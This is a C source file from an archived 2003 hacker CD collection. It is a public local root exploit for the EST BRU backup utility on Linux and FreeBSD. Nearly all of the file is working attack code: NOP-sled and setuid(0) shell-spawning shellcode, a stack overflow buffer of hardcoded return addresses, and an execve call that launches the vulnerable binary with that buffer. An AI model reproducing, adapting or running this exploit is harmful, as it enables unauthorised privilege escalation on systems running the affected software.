home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / exbru / ex_bru.c
Encoding:
C/C++ Source or Header  |  2003-08-21  |  2.3 KB  |  92 lines

  1. /** EST BRU(TM) Backup and Restore Utility Local Root Exploit
  2.  **
  3.  ** By: Dvdman@l33tsecurity.com
  4.  **
  5.  ** Simple Stack overflow Wont say any more :P
  6.  **
  7.  ** Linux & FreeBsd Targets
  8.  **
  9.  ** Greetz: sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
  10.  **
  11.  ** Public Release 
  12.  ** L33tsecurity 2003; irc.secsup.org #l33tsecurity 
  13.  **/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #include <sys/errno.h>
  20.  
  21. #define FUN "./bru"
  22.  
  23. char shellcode[] =
  24.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  25.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  26.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  27.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  28.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  29.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  30.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  32.  
  33.     /* SETUID(0) SHELLCODE LINUX */
  34.     "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
  35.     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
  36.     "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
  37.     "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  38.  
  39. unsigned long sp(void) {
  40.            __asm__("movl %esp,%eax");
  41. }
  42.  
  43. int main(int argc, char **argv) {
  44.  
  45.     char buffer[9000];
  46.     int x,target;    
  47.     char    *env[2];
  48.     char    *args[24];
  49.          
  50.     unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN);
  51.  
  52.     int *ptr = (int *)(buffer);
  53.     if (argc != 2) {  
  54.        usage();
  55.        exit(0);
  56.        }
  57.  
  58.     target = atoi(argv[1]);
  59.    
  60.    if (target == 0) {
  61.     for (x=0; x<9000 ; x+=4)
  62.       *ptr++ = (ret + 1);
  63.    }
  64.  
  65.    if (target == 1) {
  66.      for (x=0; x<3500 ; x+=4)
  67.           *ptr++ = 0xbfbffe48;          
  68.    } 
  69.  
  70.     /* put in env */
  71.     env[0] = shellcode;
  72.     env[1] = NULL;
  73.  
  74.  
  75.     args[0] = FUN;
  76.     args[1] = buffer;
  77.     args[2] = NULL;
  78.  
  79.  
  80.     execve (args[0], args, env);
  81.     perror ("execve");
  82. }
  83.  
  84.  
  85. int usage() {
  86. printf("EST BRU(TM)local root exploit\n");
  87. printf("By: Dvdman@l33tsecurity.com\n");
  88. printf("Usage: ./ex_bru target\n");
  89. printf("TARGET LIST:\n");
  90. printf("0. LINUX\n1. FREEBSD\n");
  91. return 0;
  92. }